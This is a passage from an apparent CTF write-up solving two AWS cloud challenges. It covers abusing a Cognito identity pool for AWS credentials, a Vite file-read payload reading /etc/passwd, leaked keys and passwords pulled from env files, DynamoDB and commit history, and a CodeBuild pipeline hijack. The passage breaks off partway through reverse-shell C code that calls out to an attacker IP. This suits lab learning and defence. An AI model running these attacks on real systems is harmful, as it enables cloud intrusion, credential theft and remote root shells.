registration page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkIDSr68ZDbqgGT2aTmktQ.png" /></figure><p>Let’s try to register an account.</p><p>Username: test@foobar.com</p><p>Password: Test123!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BR4gOPll-ItN2PFBbxBGwQ.png" /></figure><p>Upon successful registration, we will redirected to the static dashboard page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYkwKPa8_NoZujx6SaA8DA.png" /></figure><p>And just like that! No special interaction, no suspicious button, no hidden request. How are we supposed to escalate our privilege like this? Guess what? We already did… by only being successfully logged in through Cognito.</p><h4>Quick Idea</h4><p><strong>AWS Cognito</strong></p><p>AWS Cognito is Amazon’s managed service for handling <strong>user authentication, authorization, and user management</strong> for your web and mobile apps. Many developers prefer this for its practical functionality instead of making their own login system from scratch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0ZvfWE7nHRoWPJNCisTXQ.jpeg" /></figure><p>In the practice, AWS Cognito comprises two parts: User Pool and Identity Pool. User Pool is the one who <strong>manages user registration, login, and user profiles</strong>. While Identity Pool <strong>provides AWS credentials to users</strong> so they can access AWS services. User Pool ID and Identity Pool ID refers to the user pool and identity pool being used on the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*royROa-RhIAo6VGIalFTRg.png" /><figcaption>User Pool Schema (src: <a href="https://security.theodo.com/en/blog/aws-cognito-pentest">security.theodo.com</a>)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6vsuBLR8QwXIoM0W0d5JQ.png" /><figcaption>Identity Pool Schema (src: <a href="https://security.theodo.com/en/blog/aws-cognito-pentest">security.theodo.com</a>)</figcaption></figure><p><strong>Overpermissioned AWS Cognito Identity Pools</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEjd3fBtBB60agV2JJAU6Q.png" /><figcaption>src: <a href="https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/">hackingthe.cloud</a></figcaption></figure><p>Cited from <a href="https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/">this article</a>, we actually can <strong>retrieve temporary AWS credentials from a successful cognito signup</strong> by doing these steps:</p><ol><li>Signup/login to the application</li><li>Obtain valid ID token from the local storage</li><li>Use the ID token, Identity pool ID and User pool ID information to retrieve temporary access token.</li></ol><p>Let’s see what it can do.</p><h4>Exploit</h4><p><strong>Getting the AWS Credentials</strong></p><p>As we already succeed login, let’s take our valid ID token from local storage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIANkMKCRcMAuzHJ3ZNVYA.png" /></figure><p>ID token retrieved =</p><pre>eyJraWQiOiJ3RWtJYzBwR0Jncm1JQjJTZ3d3N0kwb1NrMmtheVBkeldyb2RkQWczSVFFPSIsImFsZyI6IlJTMjU2In0.eyJhdF9oYXNoIjoiWUloQk1WLUI5RzhlNW9sQU42VDU4ZyIsInN1YiI6ImIwOGM1OTNjLTMwYTEtNzA3YS1lNmUyLWExODk4ODgwZDg2YiIsImVtYWlsX3ZlcmlmaWVkIjpmYWxzZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLmV1LW5vcnRoLTEuYW1hem9uYXdzLmNvbVwvZXUtbm9ydGgtMV81NWlOblptWXAiLCJjb2duaXRvOnVzZXJuYW1lIjoiYjA4YzU5M2MtMzBhMS03MDdhLWU2ZTItYTE4OTg4ODBkODZiIiwib3JpZ2luX2p0aSI6IjRhNWM5YjA2LWExYzQtNDdmOS1iZTA0LWIxMDc3ZWNhNjlkNyIsImF1ZCI6IjFzM3M2cjBlNTE3cjVoN20wMGFiMHQ1OHJhIiwiZXZlbnRfaWQiOiIzYjZkZjI3Mi0yNDJmLTQwNWItOTY4Ni04M2M4YTFlN2JkNGIiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTc0ODQ5OTE1MCwiZXhwIjoxNzQ4NzE0ODkxLCJpYXQiOjE3NDg3MTEyOTEsImp0aSI6IjM1NzU3MWM2LTY5NjMtNGUzMy04MjExLTUyNzZjY2EzNDk2MCIsImVtYWlsIjoidGVzdEBmb29iYXIuY29tIn0.KJ1OYoJQUCf6otyyNvrpeD14RKTwF6vHH_55CPQYeO0mZZq2PeNvyy4qN-elGLdTeVVS7yXjVHshZSzQN3sFmwn4g0D_fYnMeGyrdjMbgWj4wO7yOFJdcdUth54oLshIpb7iEUflUlxG5W2LG9l10gEFE0q-SJemqjj7_O-oY4jwXPI-dCuP6P1HW8MjGgubEzoKkQPjcUY-8wxLIdZ9x59Gb-rUPuwGB61Wl5QQHtaFe2ms14pd4PlayLe1DikeNT6sLQNSH8YaqPCDjQ-rKe_3envaRutRZbOK_3Sprtz06KbaqxU1Wnx-ypHAtdii2iA_G76n3LibFzIU_rnENQ</pre><p>Next, let’s find information about the cognito’s Identity pool ID and login provider. I just opened my burpsuite history filter and search for identityPoolId. Turns out we can find that on htps://d25vt11c4zrsnp.cloudfront.net/config.json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFhObqtoD-ZA3LZ5qay1ng.png" /></figure><p>Identity pool ID = eu-north-1:1e17b559-4464-4f84-a30f-f53974f45a65</p><p>User pool ID = eu-north-1_55iNnZmYp</p><p>Instance region = eu-north-1</p><p>To retrieve temporary AWS credentials, first use this command to get the account identityID:</p><pre>aws cognito-identity get-id \<br>--identity-pool-id {obtained_identity_pool_id} \<br>--logins &quot;cognito-idp.{instance-region}.amazonaws.com/{obtained_user_pool_id}={your_id_token}&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZDCtVKpNICmcCxCOY29og.png" /></figure><p>and then use the obtained identityID to get the creds:</p><pre>aws cognito-identity get-credentials-for-identity --region {instance_region} \<br>--identity-id {obtained_identity_id} \ <br>--logins &quot;cognito-idp.{instance-region}.amazonaws.com/{obtained_user_pool_id}={your_id_token}&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yWZii2oQ7OFMNlECqd8sKQ.png" /></figure><p>Sweet! Now let’s configure the obtained creds as usual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THBBuEH8mq761DM89KYSig.png" /></figure><p><strong>Enumerating the AWS Credentials</strong></p><p>As discussed in the previous post, we can enumerate the privilege of our creds using enumerate-iam (<a href="https://github.com/andresriancho/enumerate-iam">https://github.com/andresriancho/enumerate-iam</a>)</p><pre>python3 enumerate-iam.py --access-key {your_access_key} \<br>--secret-key {your_secret_key} \<br>--session-token {your_session_token}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkuEU8AmdNxX2CzL7AMmtA.png" /></figure><p>There is one interesting privilege:</p><ul><li><strong>dynamodb:list_tables() </strong>will list the names of all DynamoDB tables in the current AWS account. DynamoDB is Amazon’s fully managed NoSQL database service.</li></ul><p><strong>DynamoDB tables enumeration</strong></p><p>Let’s see what DynamoDB tables are stored in the account.</p><pre>aws dynamodb list-tables --profile {your_profile} --region {instance_region}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KKALh761YwlujhwH3r-T_A.png" /></figure><p>There are a table called ebs-broadcastsTable-2886166. To see the table’s content, we can use this command:</p><pre>aws dynamodb scan --table-name ebs-broadcastsTable-2886166 \<br>--profile ebs_user --region eu-north-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7516TtFjxTKr-uxCSvvOdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1XEme0V1FHRrZv_Ccc9bw.png" /></figure><p>Voila! The flag is stored in the tables data.</p><h4>Flag</h4><blockquote><strong>HTB{d3f4ul7_516nup_15_c00l}</strong></blockquote><h3>[975 points] PipeDream</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yNzQZ7E_rQsk1ZXIkOqgDA.png" /></figure><blockquote><strong>TLDR:</strong></blockquote><blockquote><strong>- AWS Key exposed in App’s Environment Variables</strong></blockquote><blockquote><strong>- Credential leak from AWS DynamoDB tables</strong></blockquote><blockquote><strong>- Abusing Gitlab codebuild runner to gain RCE</strong></blockquote><h4>Initial Look</h4><blockquote>This will be a pretty long journey, so <strong>grab your coffee and let’s get started.</strong></blockquote><p>At first, we are greeted with a self-hosted gitlab site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbKefhQH-UeHRddMOHt_2Q.png" /></figure><p>We’ve tried some possible common credentials such as <strong>admin:admin, root:root</strong>, <strong>root:5iveL!fe, </strong>but nothing works. We left the gitlab and continue searching other possibilities. We tried to nmap and this is the result.</p><pre>└─$ nmap -sV -sC -p- 18.189.24.231 -oN nmapscanx<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-25 15:43 UTC<br>Nmap scan report for gitlab.local (18.189.24.231)<br>Host is up (0.31s latency).<br>Not shown: 65529 filtered tcp ports (no-response)<br>PORT      STATE SERVICE  VERSION<br>22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 03:18:7f:18:28:f0:42:6e:00:7a:12:0b:14:ac:12:88 (ECDSA)<br>|_  256 d5:aa:f2:b6:fc:52:29:3c:d6:62:88:c5:ff:37:0c:3e (ED25519)<br>443/tcp   open  ssl/http nginx<br>| ssl-cert: Subject: commonName=gitlab.local<br>| Subject Alternative Name: DNS:gitlab.local<br>| Not valid before: 2025-04-17T13:26:29<br>|_Not valid after:  2026-04-17T13:26:29<br>|_http-title: 400 The plain HTTP request was sent to HTTPS port<br>|_ssl-date: TLS randomness does not represent time<br>5173/tcp  open  unknown<br>| fingerprint-strings: <br>|   DNSVersionBindReqTCP, RPCCheck: <br>|     HTTP/1.1 400 Bad Request<br>|   GetRequest: <br>|     HTTP/1.1 200 OK<br>|     Access-Control-Allow-Origin: *<br>|     Content-Type: text/html<br>|     Cache-Control: no-cache<br>|     Etag: W/&quot;2e0-2wEUhbwmUtQ0dcewCxOEDqEfO/k&quot;<br>|     Date: Sun, 25 May 2025 15:52:44 GMT<br>|     Connection: close<br>|     &lt;!doctype html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;script type=&quot;module&quot;&gt;<br>|     import RefreshRuntime from &quot;/@react-refresh&quot;<br>|     RefreshRuntime.injectIntoGlobalHook(window)<br>|     window.$RefreshReg$ = () =&gt; {}<br>|     window.$RefreshSig$ = () =&gt; (type) =&gt; type<br>|     window.__vite_plugin_react_preamble_installed__ = true<br>|     &lt;/script&gt;<br>|     &lt;script type=&quot;module&quot; src=&quot;/@vite/client&quot;&gt;&lt;/script&gt;<br>|     &lt;meta charset=&quot;UTF-8&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt;<br>|     &lt;title&gt;Volnaya Waterplant Monitoring Dashboard&lt;/title&gt;<br>|     &lt;script type=&quot;module&quot; crossorigin src=&quot;/assets/index-DOScCniG.js&quot;&gt;&lt;/script&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; crossorigin href=&quot;/assets/index-bR_wYehe.css&quot;&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|   HTTPOptions: <br>|     HTTP/1.1 204 No Content<br>|     Access-Control-Allow-Origin: *<br>|     Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE<br>|     Vary: Access-Control-Request-Headers<br>|     Content-Length: 0<br>|     Date: Sun, 25 May 2025 15:52:45 GMT<br>|     Connection: close<br>|   RTSPRequest: <br>|     HTTP/1.1 204 No Content<br>|     Access-Control-Allow-Origin: *<br>|     Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE<br>|     Vary: Access-Control-Request-Headers<br>|     Content-Length: 0<br>|     Date: Sun, 25 May 2025 15:52:46 GMT<br>|_    Connection: close<br>8060/tcp  open  http     nginx 1.27.4<br>|_http-server-header: nginx/1.27.4<br>|_http-title: 404 Not Found<br>9094/tcp  open  unknown<br>32851/tcp open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port5173-TCP:V=7.94SVN%I=7%D=5/25%Time=68333CCA%P=x86_64-pc-linux-gnu%r<br>[...]<br></pre><p>Turns out there are other ports opened other than 22 and 443. There seems another web application running on port 5173, so let’s inspect them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EK9kRXWOFakwc5o830bbAQ.png" /></figure><p>Another website that shows the water tank status. There’s also another page <strong>Firmware Update </strong>and <strong>Water Plant Settings</strong>. However, the feature doesn’t work as intended as nothing happened when you click the buttons. We can ignore these features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9ZbY4EmKKfbuIPTh_d8aQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imwN2U6zd2XEGFWnmAi0SQ.png" /></figure><p>Upon looking on burpsuite HTTP history, we found that the application likely run on Vite framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VlmFeLeCE9bwyVtFD-g1A.png" /></figure><h4>Exploit (?)</h4><p>While searching for references, we found that Vite has a recent public exploit for Arbitrary File Read vulnerability (<a href="https://nsfocusglobal.com/vite-arbitrary-file-read-vulnerability-cve-2025-31486/">https://nsfocusglobal.com/vite-arbitrary-file-read-vulnerability-cve-2025-31486/</a>).</p><pre>http://18.189.24.231:5173/@fs/etc/passwd?import&amp;raw??</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gb-LyY6pW1R9Aq5QBznJ7g.png" /></figure><p>and we can just read the flag.txt</p><pre>http://18.189.24.231:5173/@fs/flag.txt?import&amp;raw??</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPGtlmw8UJ8fRYxlMhEjZA.png" /></figure><p>Yay! We got the flag. However, challenge has yet to begin…</p><p>As per challenge author’s words, getting the flag by abusing the Vite vulnerability CVE-2025–31486 is the <strong>unintended </strong>solution (I submitted the flag i got with unintended way tho, because a point still a point).</p><p>So what’s the real solution? After the competition ends, I learned the intended way from author’s official <a href="http://github.com/hackthebox/business-ctf-2025/tree/master/cloud/PipeDream">writeup</a>. Here’s the intended solution:</p><h4>The Intended Way</h4><p><strong>Environment Variables</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i-CEq9qME5zwbV2UvXPIQ.png" /><figcaption>src:<a href="https://vite.dev/">vite.dev</a></figcaption></figure><p>By the words of Vite <a href="https://vite.dev/guide/env-and-mode">official documentation</a>, Vite environment variables can be found on these files: .env, .env.local, .env.production, etc. In this case, we can find the environment variables in <strong>.env.production</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjmQbVnPpxNBe3CNroYpAg.png" /></figure><p>We get AWS creds! As usual, config the key we go.</p><p><strong>Configure and Enumerating the creds</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUg6aasM-0KqwL7rc4idUg.png" /></figure><p>As usual, we used <a href="https://github.com/andresriancho/enumerate-iam">enumerate-iam</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pnLrIABvI1Dh81Pv_MH6DQ.png" /></figure><p><strong>dynamodb:list_tables() </strong>again? Luckily we already learn how to enumerate this privilege from the previous challenge.</p><pre>aws dynamodb list-tables --profile pipedream --region us-east-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgpuiT7AWU-5i2GfH7uQ7Q.png" /></figure><p>Let’s inspect ciusers table.</p><pre>aws dynamodb scan --table-name ciusers --profile pipedream --region us-east-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcAE5z8VZHNYSuZZC9U4Wg.png" /></figure><p>Cool! We got several potential usernames and passwords. Perhaps we can use those to log in to the Gitlab?</p><p><strong>Back to Gitlab</strong></p><p>Trying the creds one by one, we found that credentials <strong>siberion </strong>is valid.</p><blockquote><strong>Obtained valid creds:</strong></blockquote><blockquote><strong>Username = siberion<br>Password = Wuj!)e9Ex’]s}Xt</strong></blockquote><p>Successfully logged in as siberion!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVV1sy1Y3Vl0tSMTp8438g.png" /></figure><p>There is only one project which is created by Administrator. Let’s inspect that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwc5_M7Oct9NGwkPN0Wj8A.png" /></figure><p>Turns out the application will redirect to internal hostname <strong>gitlab.local</strong>. To fix that, we can edit our hosts file by adding gitlab.local with cloud IP 18.189.24.231:</p><p>C:\Windows\System32\Drivers\etc\hosts for Windows</p><p>/etc/hosts for Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swGEP1ZPTJYAU8J3xoM3rQ.png" /></figure><p>Once added, refresh the page and now we can visit the project page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EbCrUuHKHeKvLPRiaKl5YA.png" /></figure><p>Below is the content of several files:</p><p><strong>Makefile</strong></p><pre>CC=gcc<br>CFLAGS=-Wall -I.<br><br>all: firmware.elf<br><br>firmware.elf: main.o water_control.o<br> $(CC) -o $@ $^<br><br>main.o: main.c water_control.h<br> $(CC) $(CFLAGS) -c main.c<br><br>water_control.o: water_control.c water_control.h<br> $(CC) $(CFLAGS) -c water_control.c<br><br>clean:<br> rm -f *.o firmware.elf</pre><p><strong>.gitlab-ci.yml</strong></p><pre>workflow:<br>  rules:<br>    - if: $CI_PIPELINE_SOURCE == &quot;merge_request_event&quot;<br>      when: always<br>    - when: never<br><br>stages:<br>  - check<br>  - merge<br><br>check_merge_request:<br>  stage: check<br>  script: |<br>    git fetch origin $CI_MERGE_REQUEST_TARGET_BRANCH_NAME<br><br>    git diff --name-status origin/$CI_MERGE_REQUEST_TARGET_BRANCH_NAME...$CI_COMMIT_SHA &gt; changes.diff<br>    <br>    cat changes.diff<br><br>    if grep -q &quot;^D&quot; changes.diff; then<br>      echo &quot;Error: Merge Request contains deleted files. Deletions are not allowed.&quot;<br>      exit 1<br>    fi<br><br>    if grep -q &quot;\.gitlab-ci\.yml&quot; changes.diff; then<br>      echo &quot;Error: Modifications to .gitlab-ci.yml are not allowed in this merge request.&quot;<br>      exit 1<br>    fi<br><br>  rules:<br>    - if: $CI_PIPELINE_SOURCE == &quot;merge_request_event&quot;<br><br>auto_merge:<br>  stage: merge<br>  script: |<br>    curl -k --request PUT \<br>      --header &quot;PRIVATE-TOKEN: $GITLAB_TOKEN&quot; \<br>      &quot;https://gitlab.local/api/v4/projects/$CI_PROJECT_ID/merge_requests/$CI_MERGE_REQUEST_IID/merge?merge_when_pipeline_succeeds=true&amp;should_remove_source_branch=true&quot;<br>      <br>  rules:<br>    - if: $CI_PIPELINE_SOURCE == &quot;merge_request_event&quot;</pre><p><strong>main.c</strong></p><pre>#include &quot;water_control.h&quot;<br>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;signal.h&gt;<br><br>volatile int running = 1;<br><br>void handle_signal(int sig) {<br>    running = 0;<br>}<br><br>int main() {<br>    signal(SIGINT, handle_signal);<br>    signal(SIGTERM, handle_signal);<br><br>    printf(&quot;[Volnaya] Firmware starting...\n&quot;);<br>    init_valves();<br>    init_sensors();<br><br>    while (running) {<br>        read_sensors();<br>        control_valves();<br>        write_status_to_json();<br>        sleep(1);<br>    }<br><br>    shutdown_valves();<br>    shutdown_sensors();<br>    printf(&quot;[Volnaya] Firmware shutting down.\n&quot;);<br>    return 0;<br>}</pre><p><strong>firmware-meta.json</strong></p><pre>{<br>  &quot;timestamp&quot;: &quot;2025-04-22T10:44:52Z&quot;,<br>  &quot;firmware_hash&quot;: &quot;fbe11c0cd350afe4829eb21adf38fd95b062a7aa3a82062a5ddc32732d136fa7&quot;,<br>  &quot;signature&quot;: &quot;cjNuS9rUzspcXhecgrWlH4geRBD/znsdgX8xRPZXevX0kHFZhr/sZWCmQHL+RBoCHQivKlbcY+nhWw0ygDLagLpiQRNSztkFNbtQSpCwsipdm+4LYg7aDmUQ+Fxv3Vlx4kgvihzi/bQfunuuJ8nQ6PWmBrGLxvA+Uly1RR+NPGN+8PlT2Rxw2Lpd6JuzDD5YLHiQGnf31W3eP2ugyocke4pGKCfc7ppVsbqjuy7XIxZ9iezDDFwR7i+Jupz1FvuQVsxeaYNfRBpDA8aGOeJkDQN8iYjV3Hkyv89Ye4G9EXefxV+ybwYeaggaIPox+lxk4jXuk5M1/E7QZc5YcAa2kg==&quot;<br>}</pre><p>There is also buildspec.yml file, so this challenge might be related to <strong>AWS Codebuild</strong>.</p><h4>Quick Idea</h4><p><strong>AWS Codebuild</strong></p><p>AWS CodeBuild is a fully managed build service in the cloud. In short, you give CodeBuild your source code → it compiles, tests, packages, and produces build artifacts → done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJl2oxrfRMLf5QktAurpVQ.jpeg" /></figure><p><strong>buildspec.yml</strong></p><p><strong>buildspec.yml</strong> is a configuration file used mainly with <strong>AWS CodeBuild</strong>. It tells CodeBuild how to build your project — basically, it&#39;s the build instructions. AWS looks at this file to figure out:</p><ul><li>which commands to run,</li><li>which environment to use,</li><li>what to do before and after the build,</li><li>etc.</li></ul><p>Now let’s inspect the <strong>buildspec.yml</strong>.</p><pre>version: 0.2<br><br>env:<br>  variables:<br>    <strong>GITLAB_USER: &quot;root&quot;</strong><br>    GITLAB_TOKEN: &quot;glpat-****&quot;<br>    GITLAB_HOST: &quot;******&quot;<br>  secrets-manager:<br>    DEPLOY_KEY: &quot;volnaya/deploy-key:GITLAB_SSH_KEY&quot;<br>    DEBUG_KEY: &quot;volnaya/debug-key:PUBLIC_KEY&quot;<br>    <br>phases:<br>  pre_build:<br>    commands:<br>      - echo &quot;Setting up Git credentials&quot;<br>      - git config --global credential.helper store<br>      - echo &quot;https://${GITLAB_USER}:${GITLAB_TOKEN}@${GITLAB_HOST}&quot; &gt; ~/.git-credentials<br>      - git -c http.sslVerify=false clone https://${GITLAB_HOST}/root/volnaya-waterplant-firmware.git firmware<br>      - echo &quot;Verifying Signature&quot;<br>      - cd firmware<br>      - FIRMWARE_META=&quot;firmware_meta.json&quot;<br>      - SIGNATURE_B64=$(jq -r .signature &quot;$FIRMWARE_META&quot;)<br>      - echo &quot;$SIGNATURE_B64&quot; | base64 -d &gt; /tmp/signature.sig<br>      - SIGNATURE_FILE=&quot;/tmp/signature.sig&quot;<br>      - CLEAN_META=&quot;/tmp/firmware_meta_clean.json&quot;<br>      - jq &#39;del(.signature)&#39; &quot;$FIRMWARE_META&quot; &gt; &quot;$CLEAN_META&quot;<br>      - echo &quot;$DEBUG_KEY&quot; &gt; /tmp/public_key.pem<br>      - openssl dgst -sha256 -verify /tmp/public_key.pem -signature &quot;$SIGNATURE_FILE&quot; &quot;$CLEAN_META&quot; &amp;&amp; echo &quot;Signature verification passed.&quot; || { echo &quot;Signature verification failed. Exiting.&quot;; exit 1; }<br>      - ACTUAL_HASH=$(sha256sum main.c | awk &#39;{print $1}&#39;)<br>      - EXPECTED_HASH=$(jq -r .firmware_hash &quot;$FIRMWARE_META&quot;)<br>      - &quot;$ACTUAL_HASH&quot; == &quot;$EXPECTED_HASH&quot; &amp;&amp; echo &quot;Source hash matches signed firmware.&quot; || { echo &quot;Hash comparision failed. Exiting.&quot;; exit 1; }<br>  build:<br>    commands:<br>      - echo &quot;Building Firmware&quot;<br>      - make<br>      - mkdir -p ~/.ssh<br>      - echo &quot;$DEPLOY_KEY&quot; &gt; ~/.ssh/id_rsa<br>      - chmod 600 ~/.ssh/id_rsa<br>      - ssh-keyscan -H ${GITLAB_HOST} &gt;&gt; ~/.ssh/known_hosts<br>      - scp firmware.elf root@${GITLAB_HOST}:/root/firmware/firmware.elf</pre><p>Analyzing the buildspec, this is what happened:</p><ol><li><strong>Setup environment variables and secrets</strong>. This shows that the application run as <strong>root</strong>.</li></ol><pre>env:<br>  variables:<br>    GITLAB_USER: &quot;root&quot;<br>    GITLAB_TOKEN: &quot;glpat-****&quot;<br>    GITLAB_HOST: &quot;******&quot;<br>  secrets-manager:<br>    DEPLOY_KEY: &quot;volnaya/deploy-key:GITLAB_SSH_KEY&quot;<br>    DEBUG_KEY: &quot;volnaya/debug-key:PUBLIC_KEY&quot;</pre><p><strong>2. Setup Git Credentials and Cloning the repository</strong></p><pre>- git config --global credential.helper store<br>- echo &quot;https://${GITLAB_USER}:${GITLAB_TOKEN}@${GITLAB_HOST}&quot; &gt; ~/.git-credentials<br>- git -c http.sslVerify=false clone https://${GITLAB_HOST}/root/volnaya-waterplant-firmware.git firmware</pre><p><strong>3. Firmware signature verification. </strong>It verify the “signature” value in firmware_meta.json</p><pre>- cd firmware<br>- FIRMWARE_META=&quot;firmware_meta.json&quot;<br>- SIGNATURE_B64=$(jq -r .signature &quot;$FIRMWARE_META&quot;)<br>- echo &quot;$SIGNATURE_B64&quot; | base64 -d &gt; /tmp/signature.sig<br>- jq &#39;del(.signature)&#39; &quot;$FIRMWARE_META&quot; &gt; &quot;$CLEAN_META&quot;<br>- echo &quot;$DEBUG_KEY&quot; &gt; /tmp/public_key.pem<br>- openssl dgst -sha256 -verify /tmp/public_key.pem -signature &quot;$SIGNATURE_FILE&quot; &quot;$CLEAN_META&quot;</pre><p><strong>4. Firmware hash verification. </strong>It compares SHA256 hash of main.c with the “firmware_hash” value in firmware_meta.json</p><pre>- ACTUAL_HASH=$(sha256sum main.c | awk &#39;{print $1}&#39;)<br>- EXPECTED_HASH=$(jq -r .firmware_hash &quot;$FIRMWARE_META&quot;)<br>- &quot;$ACTUAL_HASH&quot; == &quot;$EXPECTED_HASH&quot; &amp;&amp; echo &quot;Source hash matches signed firmware.&quot; || { echo &quot;Hash comparision failed. Exiting.&quot;; exit 1; }</pre><p><strong>5. Build process</strong></p><pre>- echo &quot;Building Firmware&quot;<br>- make</pre><p><strong>6. SSH setup and deployment</strong></p><pre>- mkdir -p ~/.ssh<br>- echo &quot;$DEPLOY_KEY&quot; &gt; ~/.ssh/id_rsa<br>- chmod 600 ~/.ssh/id_rsa<br>- ssh-keyscan -H ${GITLAB_HOST} &gt;&gt; ~/.ssh/known_hosts<br>- scp firmware.elf root@${GITLAB_HOST}:/root/firmware/firmware.elf</pre><p>Since the application will be built and run, we can obtain RCE as root by modifying main.c into reverse shell code. However, there is a signature checking through file firmware-meta.json so we have to forge the signature of our modified code as well.</p><p>To achieve that, we still need 2 components:</p><ul><li>The privilege of building the project</li><li>The private key used to create project’s signature</li></ul><p><strong>Uncovering the past</strong></p><p>Continuing the enumeration, we can find hardcoded <strong>AWS creds</strong> and a <strong>private key</strong> from the project’s commit history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvlaR_fGga5eirqgnkwFsw.png" /><figcaption>hardcoded AWS creds in commit fd21cc16ea6773c506fe7da5bd9d87e2c32399be</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbjHCMKtIsfenfeiJefrMw.png" /><figcaption>hardcoded private key in commit aff5a0a10fbafc1bdbf510dacc47f7d499bbc998</figcaption></figure><p>Again, we configure and checked the privilege of the obtained AWS creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*la4uVcVW98CBVC0k5FFjMA.png" /><figcaption>configuring the creds</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7Gf2h7GO1Hq2sqyz86sag.png" /><figcaption>enumerating the key</figcaption></figure><p>There exist privilege<strong> codebuild:list_projects() </strong>which are used to list all CodeBuild build projects in your AWS account.</p><pre>aws codebuild list-projects --profile pipedream_root --region us-east-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PklvjN24r_FBbQT_Htgn4g.png" /></figure><p>From the output above, we know that there is a project called volnaya-firmware-build which is likely are related to the project we saw in gitlab.</p><p>Now let’s check if this creds we are using right now have the privilege to start the build.</p><pre><br>aws codebuild start-build --project-name volnaya-firmware-build \<br>--profile pipedream_root --region us-east-2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erVtr5YHV2BUabNqRxWGwQ.png" /></figure><p>Nice… there’s no forbidden issue and the output shows the build, indicating that our account <strong>does </strong>have the privilege to start the build.</p><h4>Exploit</h4><p>Now we already have the privilege to run the build and forge the signature. Let’s modify the main.c so it spawn a reverse shell.</p><p><strong>main.c (NEW)</strong></p><pre>└─$ cat main.c <br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;arpa/inet.h&gt;<br><br>int main() {<br>    int sock;<br>    struct sockaddr_in server;<br>    char *ip = &quot;X.X.X.X&quot;;<br>    int port = 6004;<br>    sock = socket(AF_INET, SOCK_STREAM, 0);<br>    if (sock == -1) {<br>        perror(&quot;socket&quot;);<br>        exit(1);<br>    }<br><br>    server.sin_family = AF_INET;<br>    server.sin_port = htons(port);<br>    server.sin_addr.s_addr = inet_addr(ip);<br><br>    if (connect(sock, (struct sockaddr 